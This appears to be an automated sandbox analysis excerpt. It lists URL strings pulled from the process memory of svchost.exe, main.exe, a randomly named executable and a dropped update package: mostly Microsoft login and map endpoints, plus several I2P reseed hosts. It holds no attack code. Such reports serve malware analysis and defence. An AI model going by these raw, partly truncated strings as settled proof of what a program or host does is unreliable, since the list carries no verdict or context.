Source: svchost.exe, 00000028.00000003.1989281003.0000029864963000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000028.00000003.1989259240.0000029864940000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000028.00000002.2526962025.000002986405F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000028.00000003.1989213625.000002986493B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://account.live.com/inlinesignup.aspx?iww=1&id=80603
Source: svchost.exe, 00000028.00000003.1989281003.0000029864963000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000028.00000002.2526962025.000002986405F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://account.live.com/inlinesignup.aspx?iww=1&id=80604
Source: svchost.exe, 00000028.00000003.1989281003.0000029864963000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000028.00000002.2526962025.000002986405F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://account.live.com/inlinesignup.aspx?iww=1&id=80605
Source: svchost.exe, 00000028.00000003.1989259240.0000029864940000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000028.00000002.2526898399.0000029864045000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000028.00000003.1989239979.0000029864957000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000028.00000003.1988983984.0000029864929000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000028.00000003.1989069790.0000029864952000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000028.00000003.1989213625.000002986493B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://account.live.com/msangcwam
Source: svchost.exe, 00000000.00000003.1364800433.000001A7F5057000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000000.00000002.1365782760.000001A7F5058000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://appexmapsappupdate.blob.core.windows.net
Source: main.exe, 00000029.00000002.2528754555.000001FE46EDD000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000029.00000002.2530936773.00007FFB0C164000.00000002.00000001.01000000.0000000C.sdmp, update.pkg.18.dr	String found in binary or memory: https://banana.incognet.io/
Source: svchost.exe, 00000000.00000003.1364800433.000001A7F5057000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000000.00000002.1365782760.000001A7F5058000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dev.ditu.live.com/REST/V1/MapControlConfiguration/native/
Source: svchost.exe, 00000000.00000003.1364488310.000001A7F5062000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000000.00000003.1364716029.000001A7F505A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000000.00000002.1366032313.000001A7F5081000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000000.00000002.1365876947.000001A7F5063000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000000.00000003.1364541563.000001A7F505F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dev.ditu.live.com/REST/v1/Imagery/Copyright/
Source: svchost.exe, 00000000.00000002.1366032313.000001A7F5081000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dev.ditu.live.com/REST/v1/JsonFilter/VenueMaps/data/
Source: svchost.exe, 00000000.00000003.1364800433.000001A7F5057000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000000.00000002.1365782760.000001A7F5058000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dev.ditu.live.com/REST/v1/Locations
Source: svchost.exe, 00000000.00000002.1365909778.000001A7F5068000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000000.00000003.1364470645.000001A7F5067000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dev.ditu.live.com/REST/v1/Routes/
Source: svchost.exe, 00000000.00000002.1366066074.000001A7F5088000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000000.00000003.1364293809.000001A7F5086000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dev.ditu.live.com/REST/v1/Transit/Stops/
Source: svchost.exe, 00000000.00000003.1364800433.000001A7F5057000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000000.00000002.1365782760.000001A7F5058000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dev.ditu.live.com/mapcontrol/logging.ashx
Source: svchost.exe, 00000000.00000003.1364488310.000001A7F5062000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000000.00000003.1364716029.000001A7F505A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000000.00000002.1365876947.000001A7F5063000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000000.00000002.1365694389.000001A7F503F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dev.virtualearth.net/REST/v1/Imagery/Copyright/
Source: svchost.exe, 00000000.00000003.1364800433.000001A7F5057000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000000.00000002.1365782760.000001A7F5058000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dev.virtualearth.net/REST/v1/Locations
Source: svchost.exe, 00000000.00000002.1365909778.000001A7F5068000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000000.00000003.1364470645.000001A7F5067000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000000.00000002.1365624998.000001A7F502B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dev.virtualearth.net/REST/v1/Routes/
Source: svchost.exe, 00000000.00000003.1364800433.000001A7F5057000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000000.00000002.1365782760.000001A7F5058000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dev.virtualearth.net/REST/v1/Routes/Driving
Source: svchost.exe, 00000000.00000003.1364800433.000001A7F5057000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000000.00000002.1365782760.000001A7F5058000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dev.virtualearth.net/REST/v1/Routes/Transit
Source: svchost.exe, 00000000.00000003.1364800433.000001A7F5057000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000000.00000002.1365782760.000001A7F5058000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dev.virtualearth.net/REST/v1/Routes/Walking
Source: svchost.exe, 00000000.00000003.1364488310.000001A7F5062000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000000.00000002.1365876947.000001A7F5063000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000000.00000002.1365694389.000001A7F503F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dev.virtualearth.net/REST/v1/Traffic/Incidents/
Source: svchost.exe, 00000000.00000002.1365723954.000001A7F5042000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000000.00000003.1364769439.000001A7F5041000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dev.virtualearth.net/REST/v1/Transit/Schedules/
Source: svchost.exe, 00000000.00000003.1364800433.000001A7F5057000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000000.00000002.1365782760.000001A7F5058000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dev.virtualearth.net/mapcontrol/logging.ashx
Source: svchost.exe, 00000000.00000003.1364488310.000001A7F5062000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000000.00000002.1365876947.000001A7F5063000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dev.virtualearth.net/webservices/v1/LoggingService/LoggingService.svc/Log?
Source: svchost.exe, 00000000.00000003.1364743733.000001A7F5049000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000000.00000003.1364488310.000001A7F5062000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000000.00000002.1365876947.000001A7F5063000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dynamic.api.tiles.ditu.live.com/odvs/gd?pv=1&r=
Source: svchost.exe, 00000000.00000003.1364769439.000001A7F5041000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dynamic.api.tiles.ditu.live.com/odvs/gdi?pv=1&r=
Source: svchost.exe, 00000000.00000003.1364488310.000001A7F5062000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000000.00000002.1365876947.000001A7F5063000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dynamic.api.tiles.ditu.live.com/odvs/gdv?pv=1&r=
Source: svchost.exe, 00000000.00000002.1365723954.000001A7F5042000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000000.00000003.1364769439.000001A7F5041000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000000.00000003.1364541563.000001A7F505F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dynamic.api.tiles.ditu.live.com/odvs/gri?pv=1&r=
Source: svchost.exe, 00000000.00000003.1364293809.000001A7F5086000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dynamic.t
Source: svchost.exe, 00000000.00000003.1364800433.000001A7F5057000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000000.00000002.1365782760.000001A7F5058000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dynamic.t0.tiles.ditu.live.com/comp/gen.ashx
Source: svchost.exe, 00000000.00000002.1365909778.000001A7F5068000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000000.00000003.1364470645.000001A7F5067000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000000.00000002.1365624998.000001A7F502B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ecn.dev.virtualearth.net/REST/v1/Imagery/Copyright/
Source: main.exe, 00000029.00000002.2528754555.000001FE46EDD000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000029.00000002.2530936773.00007FFB0C164000.00000002.00000001.01000000.0000000C.sdmp, update.pkg.18.dr	String found in binary or memory: https://i2p.ghativega.in/
Source: yhar2he6rpt6n0h1w6rh.exe, 00000012.00000002.1546713788.00007FF70C31E000.00000004.00000001.01000000.00000007.sdmp, main.exe, 0000001D.00000002.2203168945.0000027B43FE4000.00000004.00000020.00020000.00000000.sdmp, update.pkg.18.dr	String found in binary or memory: https://i2p.mooo.com/netDb/
Source: main.exe, 00000029.00000002.2528754555.000001FE46EDD000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000029.00000002.2530936773.00007FFB0C164000.00000002.00000001.01000000.0000000C.sdmp, update.pkg.18.dr	String found in binary or memory: https://i2p.novg.net/
Source: yhar2he6rpt6n0h1w6rh.exe, 00000012.00000002.1546713788.00007FF70C31E000.00000004.00000001.01000000.00000007.sdmp, main.exe, 0000001D.00000002.2203168945.0000027B43FE4000.00000004.00000020.00020000.00000000.sdmp, update.pkg.18.dr	String found in binary or memory: https://i2pd.readthedocs.io/en/latest/user-guide/configuration/
Source: main.exe, 00000029.00000002.2528754555.000001FE46EDD000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000029.00000002.2530936773.00007FFB0C164000.00000002.00000001.01000000.0000000C.sdmp, update.pkg.18.dr	String found in binary or memory: https://i2pseed.creativecowpat.net:8443/
Source: yhar2he6rpt6n0h1w6rh.exe, 00000012.00000002.1546713788.00007FF70C31E000.00000004.00000001.01000000.00000007.sdmp, main.exe, 0000001D.00000002.2203168945.0000027B43FE4000.00000004.00000020.00020000.00000000.sdmp, update.pkg.18.dr	String found in binary or memory: https://legit-website.com/i2pseeds.su3
Source: svchost.exe, 00000028.00000002.2526898399.0000029864045000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.ecur
Source: svchost.exe, 00000028.00000002.2526801542.000002986402B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.livco
Source: svchost.exe, 00000028.00000003.2192382775.0000029864E89000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000028.00000003.2192457979.0000029864E89000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000028.00000003.2192566871.0000029864E89000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000028.00000003.2192487068.0000029864E89000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com
Source: svchost.exe, 00000028.00000002.2528684973.0000029864E39000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/
Source: svchost.exe, 00000028.00000003.1989281003.0000029864963000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000028.00000003.1989259240.0000029864940000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000028.00000002.2526962025.000002986405F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000028.00000003.1989213625.000002986493B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ApproveSession.srf
Source: svchost.exe, 00000028.00000003.1988983984.0000029864929000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000028.00000003.1989763777.0000029864956000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000028.00000003.1989069790.0000029864952000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/IfExists.srf?uiflavor=4&id=80600
Source: svchost.exe, 00000028.00000003.1988983984.0000029864929000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000028.00000003.1989763777.0000029864956000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000028.00000003.1989069790.0000029864952000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/IfExists.srf?uiflavor=4&id=80601
Source: svchost.exe, 00000028.00000003.1989281003.0000029864963000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000028.00000002.2526962025.000002986405F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000028.00000003.1989320013.000002986496B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/IfExists.srf?uiflavor=4&id=80502
Source: svchost.exe, 00000028.00000003.1989281003.0000029864963000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000028.00000002.2526962025.000002986405F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000028.00000003.1989320013.000002986496B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/IfExists.srf?uiflavor=4&id=80600
Source: svchost.exe, 00000028.00000003.1989281003.0000029864963000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000028.00000003.1988983984.000002986492C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000028.00000002.2526962025.000002986405F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000028.00000003.1989320013.000002986496B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/IfExists.srf?uiflavor=4&id=80601
Source: svchost.exe, 00000028.00000003.1989259240.0000029864940000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000028.00000002.2526898399.0000029864045000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000028.00000003.1989213625.000002986493B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000028.00000002.2526801542.000002986402B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ListSessions.srf
Source: svchost.exe, 00000028.00000002.2526962025.000002986405F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000028.00000002.2526801542.000002986402B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ManageApprover.srf
Source: svchost.exe, 00000028.00000003.1989259240.0000029864940000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000028.00000003.1989213625.000002986493B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ManageApprover.srfrf
Source: svchost.exe, 00000028.00000003.1989281003.0000029864963000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000028.00000002.2526962025.000002986405F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ManageLoginKeys.srf
Source: svchost.exe, 00000028.00000003.1989259240.0000029864940000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000028.00000003.1989213625.000002986493B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ManageLoginKeys.srf3457
Source: svchost.exe, 00000028.00000002.2526962025.00000298640A6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000028.00000002.2526962025.000002986405F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000028.00000002.2528684973.0000029864E39000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/RST2.srf
Source: svchost.exe, 00000028.00000003.2192382775.0000029864E89000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000028.00000003.2192457979.0000029864E89000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000028.00000003.2192566871.0000029864E89000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000028.00000003.2192487068.0000029864E89000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/RST2.srfA7826
Source: svchost.exe, 00000028.00000002.2528684973.0000029864E16000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/RST2.srft
Source: svchost.exe, 00000028.00000003.1989259240.0000029864940000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000028.00000002.2526898399.0000029864045000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000028.00000003.1989213625.000002986493B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/didtou.srf
Source: svchost.exe, 00000028.00000003.1989259240.0000029864940000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000028.00000002.2526898399.0000029864045000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000028.00000003.1989213625.000002986493B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/getrealminfo.srf
Source: svchost.exe, 00000028.00000003.1989259240.0000029864940000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000028.00000002.2526898399.0000029864045000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000028.00000002.2528121324.0000029864937000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000028.00000003.1989213625.000002986493B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/getuserrealm.srf
Source: svchost.exe, 00000028.00000003.1989281003.0000029864963000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000028.00000002.2526898399.0000029864045000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000028.00000002.2526962025.000002986405F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000028.00000003.1989320013.000002986496B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/DeviceAssociate.srf
Source: svchost.exe, 00000028.00000003.1989281003.0000029864963000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000028.00000002.2526962025.000002986405F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000028.00000003.1989320013.000002986496B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/DeviceDisassociate.srf
Source: svchost.exe, 00000028.00000003.1989355515.0000029864927000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/DeviceDisassociate.srff
Source: svchost.exe, 00000028.00000003.1989281003.0000029864963000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000028.00000003.1989259240.0000029864940000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000028.00000002.2526962025.000002986405F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000028.00000003.1989213625.000002986493B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/DeviceQuery.srf
Source: svchost.exe, 00000028.00000003.1989281003.0000029864963000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000028.00000003.1989355515.0000029864927000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000028.00000002.2526962025.000002986405F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000028.00000003.1989320013.000002986496B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/DeviceUpdate.srf
Source: svchost.exe, 00000028.00000003.1989281003.0000029864963000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000028.00000002.2526962025.000002986405F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000028.00000003.1989320013.000002986496B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/EnumerateDevices.srf
Source: svchost.exe, 00000028.00000003.1989355515.0000029864927000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/EnumerateDevices.srfX
Source: svchost.exe, 00000028.00000003.1989259240.0000029864940000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000028.00000002.2526962025.000002986405F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000028.00000003.1989213625.000002986493B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/GetAppData.srf
Source: svchost.exe, 00000028.00000002.2526898399.0000029864045000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/GetAppData.srfrfrf6085fid=cpsrf
Source: svchost.exe, 00000028.00000003.1989281003.0000029864963000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000028.00000002.2526962025.000002986405F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000028.00000003.1989320013.000002986496B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/GetUserKeyData.srf
Source: svchost.exe, 00000028.00000003.1989281003.0000029864963000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000028.00000003.1988983984.000002986492C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000028.00000002.2526962025.000002986405F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000028.00000003.1989320013.000002986496B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineClientAuth.srf
Source: svchost.exe, 00000028.00000003.2204317355.000002986495A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000028.00000002.2529008362.0000029864E7C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineClientAuth.srf?stsft=-Dt2xeh4U8pY5QoSTNt7vYxwogy2Su
Source: svchost.exe, 00000028.00000003.1989281003.0000029864963000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000028.00000003.1989259240.0000029864940000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000028.00000003.1988983984.0000029864929000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000028.00000003.1989763777.0000029864956000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000028.00000003.1989069790.0000029864952000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000028.00000003.1989213625.000002986493B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineConnect.srf?id=80600
Source: svchost.exe, 00000028.00000002.2526898399.0000029864045000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineConnect.srf?id=80600UE
Source: svchost.exe, 00000028.00000003.1989281003.0000029864963000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000028.00000003.1989259240.0000029864940000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000028.00000002.2526898399.0000029864045000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000028.00000003.1988983984.0000029864929000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000028.00000002.2526962025.000002986405F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000028.00000003.1989069790.0000029864952000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000028.00000003.1989213625.000002986493B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineConnect.srf?id=80601
Source: svchost.exe, 00000028.00000003.1989281003.0000029864963000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000028.00000003.1989259240.0000029864940000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000028.00000003.1988983984.0000029864929000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000028.00000002.2526962025.000002986405F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000028.00000003.1989213625.000002986493B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineConnect.srf?id=80603
Source: svchost.exe, 00000028.00000003.1989281003.0000029864963000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000028.00000003.1988983984.0000029864929000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000028.00000002.2526962025.000002986405F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000028.00000003.1989069790.0000029864952000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineConnect.srf?id=80604
Source: svchost.exe, 00000028.00000003.1989281003.0000029864963000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000028.00000002.2526962025.000002986405F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000028.00000003.1989320013.000002986496B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000028.00000002.2528684973.0000029864E16000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineDesktop.srf
Source: svchost.exe, 00000028.00000003.1988983984.000002986492C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineDesktop.srfm
Source: svchost.exe, 00000028.00000003.2225363797.000002986496D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineDesktop.srfure
Source: svchost.exe, 00000028.00000003.1989281003.0000029864963000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000028.00000003.1989259240.0000029864940000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000028.00000003.1989213625.000002986493B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineLogin.srf?id=80502
Source: svchost.exe, 00000028.00000002.2526898399.0000029864045000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineLogin.srf?id=80502R
Source: svchost.exe, 00000028.00000003.1989281003.0000029864963000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000028.00000003.1989259240.0000029864940000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000028.00000002.2526898399.0000029864045000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000028.00000003.1988983984.0000029864929000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000028.00000003.1989213625.000002986493B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineLogin.srf?id=80600
Source: svchost.exe, 00000028.00000003.1989281003.0000029864963000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000028.00000003.1989259240.0000029864940000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000028.00000002.2526898399.0000029864045000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000028.00000003.1988983984.0000029864929000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000028.00000003.1989763777.0000029864956000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000028.00000003.1989069790.0000029864952000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000028.00000003.1989213625.000002986493B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineLogin.srf?id=80601
Source: svchost.exe, 00000028.00000003.1989281003.0000029864963000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000028.00000003.1988983984.0000029864929000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000028.00000002.2526962025.000002986405F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000028.00000003.1989069790.0000029864952000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineLogin.srf?id=80603
Source: svchost.exe, 00000028.00000003.1989259240.0000029864940000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000028.00000003.1989213625.000002986493B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineLogin.srf?id=806034
Source: svchost.exe, 00000028.00000003.1989069790.0000029864952000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000028.00000003.1989213625.000002986493B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineLogin.srf?id=80604
Source: svchost.exe, 00000028.00000003.1989281003.0000029864963000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000028.00000003.1988983984.0000029864929000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000028.00000002.2526962025.000002986405F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000028.00000003.1989069790.0000029864952000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineLogin.srf?id=80605
